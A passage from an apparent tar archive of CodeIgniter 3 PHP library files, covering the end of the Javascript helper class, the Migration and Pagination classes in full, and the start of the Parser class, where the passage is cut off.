'this', $params = array(), $speed = '', $extra = '') { return $this->js->_animate($element, $params, $speed, $extra); } // -------------------------------------------------------------------- /** * Fade In * * Outputs a javascript library hide event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function fadeIn($element = 'this', $speed = '', $callback = '') { return $this->js->_fadeIn($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Fade Out * * Outputs a javascript library hide event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function fadeOut($element = 'this', $speed = '', $callback = '') { return $this->js->_fadeOut($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Slide Up * * Outputs a javascript library slideUp event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function slideUp($element = 'this', $speed = '', $callback = '') { return $this->js->_slideUp($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Remove Class * * Outputs a javascript library removeClass event * * @param string - element * @param string - Class to add * @return string */ public function removeClass($element = 'this', $class = '') { return $this->js->_removeClass($element, $class); } // -------------------------------------------------------------------- /** * Slide Down * * Outputs a javascript library slideDown event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function slideDown($element = 'this', $speed = '', $callback = '') { return $this->js->_slideDown($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Slide Toggle * * Outputs a javascript library slideToggle event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function slideToggle($element = 'this', $speed = '', $callback = '') { return $this->js->_slideToggle($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Hide * * Outputs a javascript library hide action * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function hide($element = 'this', $speed = '', $callback = '') { return $this->js->_hide($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Toggle * * Outputs a javascript library toggle event * * @param string - element * @return string */ public function toggle($element = 'this') { return $this->js->_toggle($element); } // -------------------------------------------------------------------- /** * Toggle Class * * Outputs a javascript library toggle class event * * @param string $element = 'this' * @param string $class = '' * @return string */ public function toggleClass($element = 'this', $class = '') { return $this->js->_toggleClass($element, $class); } // -------------------------------------------------------------------- /** * Show * * Outputs a javascript library show event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function show($element = 'this', $speed = '', $callback = '') { return $this->js->_show($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Compile * * gather together all script needing to be output * * @param string $view_var * @param bool $script_tags * @return string */ public function compile($view_var = 'script_foot', $script_tags = TRUE) { $this->js->_compile($view_var, $script_tags); } // -------------------------------------------------------------------- /** * Clear Compile * * Clears any previous javascript collected for output * * @return void */ public function clear_compile() { $this->js->_clear_compile(); } // -------------------------------------------------------------------- /** * External * * Outputs a <script> tag with the source as an external js file * * @param string $external_file * @param bool $relative * @return string */ public function external($external_file = '', $relative = FALSE) { if ($external_file !== '') { $this->_javascript_location = $external_file; } elseif ($this->CI->config->item('javascript_location') !== '') { $this->_javascript_location = $this->CI->config->item('javascript_location'); } if ($relative === TRUE OR strpos($external_file, 'http://') === 0 OR strpos($external_file, 'https://') === 0) { $str = $this->_open_script($external_file); } elseif (strpos($this->_javascript_location, 'http://') !== FALSE) { $str = $this->_open_script($this->_javascript_location.$external_file); } else { $str = $this->_open_script($this->CI->config->slash_item('base_url').$this->_javascript_location.$external_file); } return $str.$this->_close_script(); } // -------------------------------------------------------------------- /** * Inline * * Outputs a <script> tag * * @param string The element to attach the event to * @param bool If a CDATA section should be added * @return string */ public function inline($script, $cdata = TRUE) { return $this->_open_script() . ($cdata ? "\n// <![CDATA[\n".$script."\n// ]]>\n" : "\n".$script."\n") . $this->_close_script(); } // -------------------------------------------------------------------- /** * Open Script * * Outputs an opening <script> * * @param string * @return string */ protected function _open_script($src = '') { return '<script type="text/javascript" charset="'.strtolower($this->CI->config->item('charset')).'"' .($src === '' ? '>' : ' src="'.$src.'">'); } // -------------------------------------------------------------------- /** * Close Script * * Outputs an closing </script> * * @param string * @return string */ protected function _close_script($extra = "\n") { return '</script>'.$extra; } // -------------------------------------------------------------------- // AJAX-Y STUFF - still a testbed // -------------------------------------------------------------------- /** * Update * * Outputs a javascript library slideDown event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ public function update($element = 'this', $speed = '', $callback = '') { return $this->js->_updater($element, $speed, $callback); } // -------------------------------------------------------------------- /** * Generate JSON * * Can be passed a database result or associative array and returns a JSON formatted string * * @param mixed result set or array * @param bool match array types (defaults to objects) * @return string a json formatted string */ public function generate_json($result = NULL, $match_array_type = FALSE) { // JSON data can optionally be passed to this function // either as a database result object or an array, or a user supplied array if ($result !== NULL) { if (is_object($result)) { $json_result = is_callable(array($result, 'result_array')) ? $result->result_array() : (array) $result; } elseif (is_array($result)) { $json_result = $result; } else { return $this->_prep_args($result); } } else { return 'null'; } $json = array(); $_is_assoc = TRUE; if ( ! is_array($json_result) && empty($json_result)) { show_error('Generate JSON Failed - Illegal key, value pair.'); } elseif ($match_array_type) { $_is_assoc = $this->_is_associative_array($json_result); } foreach ($json_result as $k => $v) { if ($_is_assoc) { $json[] = $this->_prep_args($k, TRUE).':'.$this->generate_json($v, $match_array_type); } else { $json[] = $this->generate_json($v, $match_array_type); } } $json = implode(',', $json); return $_is_assoc ? '{'.$json.'}' : '['.$json.']'; } // -------------------------------------------------------------------- /** * Is associative array * * Checks for an associative array * * @param array * @return bool */ protected function _is_associative_array($arr) { foreach (array_keys($arr) as $key => $val) { if ($key !== $val) { return TRUE; } } return FALSE; } // -------------------------------------------------------------------- /** * Prep Args * * Ensures a standard json value and escapes values * * @param mixed $result * @param bool $is_key = FALSE * @return string */ protected function _prep_args($result, $is_key = FALSE) { if ($result === NULL) { return 'null'; } elseif (is_bool($result)) { return ($result === TRUE) ? 'true' : 'false'; } elseif (is_string($result) OR $is_key) { return '"'.str_replace(array('\\', "\t", "\n", "\r", '"', '/'), array('\\\\', '\\t', '\\n', "\\r", '\"', '\/'), $result).'"'; } elseif (is_scalar($result)) { return $result; } } } Migration.php 0000775 00000030024 15060054572 0007216 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Migration Class * * All migrations should implement this, forces up() and down() and gives * access to the CI super-global. * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author Reactor Engineers * @link */ class CI_Migration { /** * Whether the library is enabled * * @var bool */ protected $_migration_enabled = FALSE; /** * Migration numbering type * * @var bool */ protected $_migration_type = 'sequential'; /** * Path to migration classes * * @var string */ protected $_migration_path = NULL; /** * Current migration version * * @var mixed */ protected $_migration_version = 0; /** * Database table with migration info * * @var string */ protected $_migration_table = 'migrations'; /** * Whether to automatically run migrations * * @var bool */ protected $_migration_auto_latest = FALSE; /** * Migration basename regex * * @var string */ protected $_migration_regex; /** * Error message * * @var string */ protected $_error_string = ''; /** * Initialize Migration Class * * @param array $config * @return void */ public function __construct($config = array()) { // Only run this constructor on main library load if ( ! in_array(get_class($this), array('CI_Migration', config_item('subclass_prefix').'Migration'), TRUE)) { return; } foreach ($config as $key => $val) { $this->{'_'.$key} = $val; } log_message('info', 'Migrations Class Initialized'); // Are they trying to use migrations while it is disabled? if ($this->_migration_enabled !== TRUE) { show_error('Migrations has been loaded but is disabled or set up incorrectly.'); } // If not set, set it $this->_migration_path !== '' OR $this->_migration_path = APPPATH.'migrations/'; // Add trailing slash if not set $this->_migration_path = rtrim($this->_migration_path, '/').'/'; // Load migration language $this->lang->load('migration'); // They'll probably be using dbforge $this->load->dbforge(); // Make sure the migration table name was set. if (empty($this->_migration_table)) { show_error('Migrations configuration file (migration.php) must have "migration_table" set.'); } // Migration basename regex $this->_migration_regex = ($this->_migration_type === 'timestamp') ? '/^\d{14}_(\w+)$/' : '/^\d{3}_(\w+)$/'; // Make sure a valid migration numbering type was set. if ( ! in_array($this->_migration_type, array('sequential', 'timestamp'))) { show_error('An invalid migration numbering type was specified: '.$this->_migration_type); } // If the migrations table is missing, make it if ( ! $this->db->table_exists($this->_migration_table)) { $this->dbforge->add_field(array( 'version' => array('type' => 'BIGINT', 'constraint' => 20), )); $this->dbforge->create_table($this->_migration_table, TRUE); $this->db->insert($this->_migration_table, array('version' => 0)); } // Do we auto migrate to the latest migration? if ($this->_migration_auto_latest === TRUE && ! $this->latest()) { show_error($this->error_string()); } } // -------------------------------------------------------------------- /** * Migrate to a schema version * * Calls each migration step required to get to the schema version of * choice * * @param string $target_version Target schema version * @return mixed TRUE if no migrations are found, current version string on success, FALSE on failure */ public function version($target_version) { // Note: We use strings, so that timestamp versions work on 32-bit systems $current_version = $this->_get_version(); if ($this->_migration_type === 'sequential') { $target_version = sprintf('%03d', $target_version); } else { $target_version = (string) $target_version; } $migrations = $this->find_migrations(); if ($target_version > 0 && ! isset($migrations[$target_version])) { $this->_error_string = sprintf($this->lang->line('migration_not_found'), $target_version); return FALSE; } if ($target_version > $current_version) { $method = 'up'; } elseif ($target_version < $current_version) { $method = 'down'; // We need this so that migrations are applied in reverse order krsort($migrations); } else { // Well, there's nothing to migrate then ... return TRUE; } // Validate all available migrations within our target range. // // Unfortunately, we'll have to use another loop to run them // in order to avoid leaving the procedure in a broken state. // // See https://github.com/bcit-ci/CodeIgniter/issues/4539 $pending = array(); foreach ($migrations as $number => $file) { // Ignore versions out of our range. // // Because we've previously sorted the $migrations array depending on the direction, // we can safely break the loop once we reach $target_version ... if ($method === 'up') { if ($number <= $current_version) { continue; } elseif ($number > $target_version) { break; } } else { if ($number > $current_version) { continue; } elseif ($number <= $target_version) { break; } } // Check for sequence gaps if ($this->_migration_type === 'sequential') { if (isset($previous) && abs($number - $previous) > 1) { $this->_error_string = sprintf($this->lang->line('migration_sequence_gap'), $number); return FALSE; } $previous = $number; } include_once($file); $class = 'Migration_'.ucfirst(strtolower($this->_get_migration_name(basename($file, '.php')))); // Validate the migration file structure if ( ! class_exists($class, FALSE)) { $this->_error_string = sprintf($this->lang->line('migration_class_doesnt_exist'), $class); return FALSE; } elseif ( ! is_callable(array($class, $method))) { $this->_error_string = sprintf($this->lang->line('migration_missing_'.$method.'_method'), $class); return FALSE; } $pending[$number] = array($class, $method); } // Now just run the necessary migrations foreach ($pending as $number => $migration) { log_message('debug', 'Migrating '.$method.' from version '.$current_version.' to version '.$number); $migration[0] = new $migration[0]; call_user_func($migration); $current_version = $number; $this->_update_version($current_version); } // This is necessary when moving down, since the the last migration applied // will be the down() method for the next migration up from the target if ($current_version <> $target_version) { $current_version = $target_version; $this->_update_version($current_version); } log_message('debug', 'Finished migrating to '.$current_version); return $current_version; } // -------------------------------------------------------------------- /** * Sets the schema to the latest migration * * @return mixed Current version string on success, FALSE on failure */ public function latest() { $migrations = $this->find_migrations(); if (empty($migrations)) { $this->_error_string = $this->lang->line('migration_none_found'); return FALSE; } $last_migration = basename(end($migrations)); // Calculate the last migration step from existing migration // filenames and proceed to the standard version migration return $this->version($this->_get_migration_number($last_migration)); } // -------------------------------------------------------------------- /** * Sets the schema to the migration version set in config * * @return mixed TRUE if no migrations are found, current version string on success, FALSE on failure */ public function current() { return $this->version($this->_migration_version); } // -------------------------------------------------------------------- /** * Error string * * @return string Error message returned as a string */ public function error_string() { return $this->_error_string; } // -------------------------------------------------------------------- /** * Retrieves list of available migration scripts * * @return array list of migration file paths sorted by version */ public function find_migrations() { $migrations = array(); // Load all *_*.php files in the migrations path foreach (glob($this->_migration_path.'*_*.php') as $file) { $name = basename($file, '.php'); // Filter out non-migration files if (preg_match($this->_migration_regex, $name)) { $number = $this->_get_migration_number($name); // There cannot be duplicate migration numbers if (isset($migrations[$number])) { $this->_error_string = sprintf($this->lang->line('migration_multiple_version'), $number); show_error($this->_error_string); } $migrations[$number] = $file; } } ksort($migrations); return $migrations; } // -------------------------------------------------------------------- /** * Extracts the migration number from a filename * * @param string $migration * @return string Numeric portion of a migration filename */ protected function _get_migration_number($migration) { return sscanf($migration, '%[0-9]+', $number) ? $number : '0'; } // -------------------------------------------------------------------- /** * Extracts the migration class name from a filename * * @param string $migration * @return string text portion of a migration filename */ protected function _get_migration_name($migration) { $parts = explode('_', $migration); array_shift($parts); return implode('_', $parts); } // -------------------------------------------------------------------- /** * Retrieves current schema version * * @return string Current migration version */ protected function _get_version() { $row = $this->db->select('version')->get($this->_migration_table)->row(); return $row ? $row->version : '0'; } // -------------------------------------------------------------------- /** * Stores the current schema version * * @param string $migration Migration reached * @return void */ protected function _update_version($migration) { $this->db->update($this->_migration_table, array( 'version' => $migration )); } // -------------------------------------------------------------------- /** * Enable the use of CI super-global * * @param string $var * @return mixed */ public function __get($var) { return get_instance()->$var; } } Pagination.php 0000775 00000037572 15060054572 0007375 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Pagination Class * * @package CodeIgniter * @subpackage Libraries * @category Pagination * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/pagination.html */ class CI_Pagination { /** * Base URL * * The page that we're linking to * * @var string */ protected $base_url = ''; /** * Prefix * * @var string */ protected $prefix = ''; /** * Suffix * * @var string */ protected $suffix = ''; /** * Total number of items * * @var int */ protected $total_rows = 0; /** * Number of links to show * * Relates to "digit" type links shown before/after * the currently viewed page. * * @var int */ protected $num_links = 2; /** * Items per page * * @var int */ public $per_page = 10; /** * Current page * * @var int */ public $cur_page = 0; /** * Use page numbers flag * * Whether to use actual page numbers instead of an offset * * @var bool */ protected $use_page_numbers = FALSE; /** * First link * * @var string */ protected $first_link = '‹ First'; /** * Next link * * @var string */ protected $next_link = '>'; /** * Previous link * * @var string */ protected $prev_link = '<'; /** * Last link * * @var string */ protected $last_link = 'Last ›'; /** * URI Segment * * @var int */ protected $uri_segment = 0; /** * Full tag open * * @var string */ protected $full_tag_open = ''; /** * Full tag close * * @var string */ protected $full_tag_close = ''; /** * First tag open * * @var string */ protected $first_tag_open = ''; /** * First tag close * * @var string */ protected $first_tag_close = ''; /** * Last tag open * * @var string */ protected $last_tag_open = ''; /** * Last tag close * * @var string */ protected $last_tag_close = ''; /** * First URL * * An alternative URL for the first page * * @var string */ protected $first_url = ''; /** * Current tag open * * @var string */ protected $cur_tag_open = '<strong>'; /** * Current tag close * * @var string */ protected $cur_tag_close = '</strong>'; /** * Next tag open * * @var string */ protected $next_tag_open = ''; /** * Next tag close * * @var string */ protected $next_tag_close = ''; /** * Previous tag open * * @var string */ protected $prev_tag_open = ''; /** * Previous tag close * * @var string */ protected $prev_tag_close = ''; /** * Number tag open * * @var string */ protected $num_tag_open = ''; /** * Number tag close * * @var string */ protected $num_tag_close = ''; /** * Page query string flag * * @var bool */ protected $page_query_string = FALSE; /** * Query string segment * * @var string */ protected $query_string_segment = 'per_page'; /** * Display pages flag * * @var bool */ protected $display_pages = TRUE; /** * Attributes * * @var string */ protected $_attributes = ''; /** * Link types * * "rel" attribute * * @see CI_Pagination::_attr_rel() * @var array */ protected $_link_types = array(); /** * Reuse query string flag * * @var bool */ protected $reuse_query_string = FALSE; /** * Use global URL suffix flag * * @var bool */ protected $use_global_url_suffix = FALSE; /** * Data page attribute * * @var string */ protected $data_page_attr = 'data-ci-pagination-page'; /** * CI Singleton * * @var object */ protected $CI; // -------------------------------------------------------------------- /** * Constructor * * @param array $params Initialization parameters * @return void */ public function __construct($params = array()) { $this->CI =& get_instance(); $this->CI->load->language('pagination'); foreach (array('first_link', 'next_link', 'prev_link', 'last_link') as $key) { if (($val = $this->CI->lang->line('pagination_'.$key)) !== FALSE) { $this->$key = $val; } } $this->initialize($params); log_message('info', 'Pagination Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize Preferences * * @param array $params Initialization parameters * @return CI_Pagination */ public function initialize(array $params = array()) { isset($params['attributes']) OR $params['attributes'] = array(); if (is_array($params['attributes'])) { $this->_parse_attributes($params['attributes']); unset($params['attributes']); } // Deprecated legacy support for the anchor_class option // Should be removed in CI 3.1+ if (isset($params['anchor_class'])) { empty($params['anchor_class']) OR $attributes['class'] = $params['anchor_class']; unset($params['anchor_class']); } foreach ($params as $key => $val) { if (property_exists($this, $key)) { $this->$key = $val; } } if ($this->CI->config->item('enable_query_strings') === TRUE) { $this->page_query_string = TRUE; } if ($this->use_global_url_suffix === TRUE) { $this->suffix = $this->CI->config->item('url_suffix'); } return $this; } // -------------------------------------------------------------------- /** * Generate the pagination links * * @return string */ public function create_links() { // If our item count or per-page total is zero there is no need to continue. // Note: DO NOT change the operator to === here! if ($this->total_rows == 0 OR $this->per_page == 0) { return ''; } // Calculate the total number of pages $num_pages = (int) ceil($this->total_rows / $this->per_page); // Is there only one page? Hm... nothing more to do here then. if ($num_pages === 1) { return ''; } // Check the user defined number of links. $this->num_links = (int) $this->num_links; if ($this->num_links < 0) { show_error('Your number of links must be a non-negative number.'); } // Keep any existing query string items. // Note: Has nothing to do with any other query string option. if ($this->reuse_query_string === TRUE) { $get = $this->CI->input->get(); // Unset the controll, method, old-school routing options unset($get['c'], $get['m'], $get[$this->query_string_segment]); } else { $get = array(); } // Put together our base and first URLs. // Note: DO NOT append to the properties as that would break successive calls $base_url = trim($this->base_url); $first_url = $this->first_url; $query_string = ''; $query_string_sep = (strpos($base_url, '?') === FALSE) ? '?' : '&'; // Are we using query strings? if ($this->page_query_string === TRUE) { // If a custom first_url hasn't been specified, we'll create one from // the base_url, but without the page item. if ($first_url === '') { $first_url = $base_url; // If we saved any GET items earlier, make sure they're appended. if ( ! empty($get)) { $first_url .= $query_string_sep.http_build_query($get); } } // Add the page segment to the end of the query string, where the // page number will be appended. $base_url .= $query_string_sep.http_build_query(array_merge($get, array($this->query_string_segment => ''))); } else { // Standard segment mode. // Generate our saved query string to append later after the page number. if ( ! empty($get)) { $query_string = $query_string_sep.http_build_query($get); $this->suffix .= $query_string; } // Does the base_url have the query string in it? // If we're supposed to save it, remove it so we can append it later. if ($this->reuse_query_string === TRUE && ($base_query_pos = strpos($base_url, '?')) !== FALSE) { $base_url = substr($base_url, 0, $base_query_pos); } if ($first_url === '') { $first_url = $base_url.$query_string; } $base_url = rtrim($base_url, '/').'/'; } // Determine the current page number. $base_page = ($this->use_page_numbers) ? 1 : 0; // Are we using query strings? if ($this->page_query_string === TRUE) { $this->cur_page = $this->CI->input->get($this->query_string_segment); } elseif (empty($this->cur_page)) { // Default to the last segment number if one hasn't been defined. if ($this->uri_segment === 0) { $this->uri_segment = count($this->CI->uri->segment_array()); } $this->cur_page = $this->CI->uri->segment($this->uri_segment); // Remove any specified prefix/suffix from the segment. if ($this->prefix !== '' OR $this->suffix !== '') { $this->cur_page = str_replace(array($this->prefix, $this->suffix), '', $this->cur_page); } } else { $this->cur_page = (string) $this->cur_page; } // If something isn't quite right, back to the default base page. if ( ! ctype_digit($this->cur_page) OR ($this->use_page_numbers && (int) $this->cur_page === 0)) { $this->cur_page = $base_page; } else { // Make sure we're using integers for comparisons later. $this->cur_page = (int) $this->cur_page; } // Is the page number beyond the result range? // If so, we show the last page. if ($this->use_page_numbers) { if ($this->cur_page > $num_pages) { $this->cur_page = $num_pages; } } elseif ($this->cur_page > $this->total_rows) { $this->cur_page = ($num_pages - 1) * $this->per_page; } $uri_page_number = $this->cur_page; // If we're using offset instead of page numbers, convert it // to a page number, so we can generate the surrounding number links. if ( ! $this->use_page_numbers) { $this->cur_page = (int) floor(($this->cur_page/$this->per_page) + 1); } // Calculate the start and end numbers. These determine // which number to start and end the digit links with. $start = (($this->cur_page - $this->num_links) > 0) ? $this->cur_page - ($this->num_links - 1) : 1; $end = (($this->cur_page + $this->num_links) < $num_pages) ? $this->cur_page + $this->num_links : $num_pages; // And here we go... $output = ''; // Render the "First" link. if ($this->first_link !== FALSE && $this->cur_page > ($this->num_links + 1 + ! $this->num_links)) { // Take the general parameters, and squeeze this pagination-page attr in for JS frameworks. $attributes = sprintf('%s %s="%d"', $this->_attributes, $this->data_page_attr, 1); $output .= $this->first_tag_open.'<a href="'.$first_url.'"'.$attributes.$this->_attr_rel('start').'>' .$this->first_link.'</a>'.$this->first_tag_close; } // Render the "Previous" link. if ($this->prev_link !== FALSE && $this->cur_page !== 1) { $i = ($this->use_page_numbers) ? $uri_page_number - 1 : $uri_page_number - $this->per_page; $attributes = sprintf('%s %s="%d"', $this->_attributes, $this->data_page_attr, ($this->cur_page - 1)); if ($i === $base_page) { // First page $output .= $this->prev_tag_open.'<a href="'.$first_url.'"'.$attributes.$this->_attr_rel('prev').'>' .$this->prev_link.'</a>'.$this->prev_tag_close; } else { $append = $this->prefix.$i.$this->suffix; $output .= $this->prev_tag_open.'<a href="'.$base_url.$append.'"'.$attributes.$this->_attr_rel('prev').'>' .$this->prev_link.'</a>'.$this->prev_tag_close; } } // Render the pages if ($this->display_pages !== FALSE) { // Write the digit links for ($loop = $start - 1; $loop <= $end; $loop++) { $i = ($this->use_page_numbers) ? $loop : ($loop * $this->per_page) - $this->per_page; $attributes = sprintf('%s %s="%d"', $this->_attributes, $this->data_page_attr, $loop); if ($i >= $base_page) { if ($this->cur_page === $loop) { // Current page $output .= $this->cur_tag_open.$loop.$this->cur_tag_close; } elseif ($i === $base_page) { // First page $output .= $this->num_tag_open.'<a href="'.$first_url.'"'.$attributes.$this->_attr_rel('start').'>' .$loop.'</a>'.$this->num_tag_close; } else { $append = $this->prefix.$i.$this->suffix; $output .= $this->num_tag_open.'<a href="'.$base_url.$append.'"'.$attributes.'>' .$loop.'</a>'.$this->num_tag_close; } } } } // Render the "next" link if ($this->next_link !== FALSE && $this->cur_page < $num_pages) { $i = ($this->use_page_numbers) ? $this->cur_page + 1 : $this->cur_page * $this->per_page; $attributes = sprintf('%s %s="%d"', $this->_attributes, $this->data_page_attr, $this->cur_page + 1); $output .= $this->next_tag_open.'<a href="'.$base_url.$this->prefix.$i.$this->suffix.'"'.$attributes .$this->_attr_rel('next').'>'.$this->next_link.'</a>'.$this->next_tag_close; } // Render the "Last" link if ($this->last_link !== FALSE && ($this->cur_page + $this->num_links + ! $this->num_links) < $num_pages) { $i = ($this->use_page_numbers) ? $num_pages : ($num_pages * $this->per_page) - $this->per_page; $attributes = sprintf('%s %s="%d"', $this->_attributes, $this->data_page_attr, $num_pages); $output .= $this->last_tag_open.'<a href="'.$base_url.$this->prefix.$i.$this->suffix.'"'.$attributes.'>' .$this->last_link.'</a>'.$this->last_tag_close; } // Kill double slashes. Note: Sometimes we can end up with a double slash // in the penultimate link so we'll kill all double slashes. $output = preg_replace('#([^:"])//+#', '\\1/', $output); // Add the wrapper HTML if exists return $this->full_tag_open.$output.$this->full_tag_close; } // -------------------------------------------------------------------- /** * Parse attributes * * @param array $attributes * @return void */ protected function _parse_attributes($attributes) { isset($attributes['rel']) OR $attributes['rel'] = TRUE; $this->_link_types = ($attributes['rel']) ? array('start' => 'start', 'prev' => 'prev', 'next' => 'next') : array(); unset($attributes['rel']); $this->_attributes = ''; foreach ($attributes as $key => $value) { $this->_attributes .= ' '.$key.'="'.$value.'"'; } } // -------------------------------------------------------------------- /** * Add "rel" attribute * * @link http://www.w3.org/TR/html5/links.html#linkTypes * @param string $type * @return string */ protected function _attr_rel($type) { if (isset($this->_link_types[$type])) { unset($this->_link_types[$type]); return ' rel="'.$type.'"'; } return ''; } } Parser.php 0000775 00000013321 15060054572 0006522 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Parser Class * * @package CodeIgniter * @subpackage Libraries * @category Parser * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/parser.html */ class CI_Parser { /** * Left delimiter character for pseudo vars * * @var string */ public $l_delim = '{'; /** * Right delimiter character for pseudo vars * * @var string */ public $r_delim = '}'; /** * Reference to CodeIgniter instance * * @var object */ protected $CI; // -------------------------------------------------------------------- /** * Class constructor * * @return void */ public function __construct() { $this->CI =& get_instance(); log_message('info', 'Parser Class Initialized'); } // -------------------------------------------------------------------- /** * Parse a template * * Parses pseudo-variables contained in the specified template view, * replacing them with the data in the second param * * @param string * @param array * @param bool * @return string */ public function parse($template, $data, $return = FALSE) { $template = $this->CI->load->view($template, $data, TRUE); return $this->_parse($template, $data, $return); } // -------------------------------------------------------------------- /** * Parse a String * * Parses pseudo-variables contained in the specified string, * replacing them with the data in the second param * * @param string * @param array * @param bool * @return string */ public function parse_string($template, $data, $return = FALSE) { return $this->_parse($template, $data, $return); } // -------------------------------------------------------------------- /** * Parse a template * * Parses pseudo-variables contained in the specified template, * replacing them with the data in the second param * * @param string * @param array * @param bool * @return string */ protected function _parse($template, $data, $return = FALSE) { if ($template === '') { return FALSE; } $replace = array(); foreach ($data as $key => $val) { $replace = array_merge( $replace, is_array($val) ? $this->_parse_pair($key, $val, $template) : $this->_parse_single($key, (string) $val, $template) ); } unset($data); $template = strtr($template, $replace); if ($return === FALSE) { $this->CI->output->append_output($template); } return $template; } // -------------------------------------------------------------------- /** * Set the left/right variable delimiters * * @param string * @param string * @return void */ public function set_delimiters($l = '{', $r = '}') { $this->l_delim = $l; $this->r_delim = $r; } // -------------------------------------------------------------------- /** * Parse a single key/value * * @param string * @param string * @param string * @return string */ protected function _parse_single($key, $val, $string) { return array($this->l_delim.$key.$this->r_delim => (string) $val); } // -------------------------------------------------------------------- /** * Parse a tag pair * * Parses tag pairs: {some_tag} string... {/some_tag} * * @param string 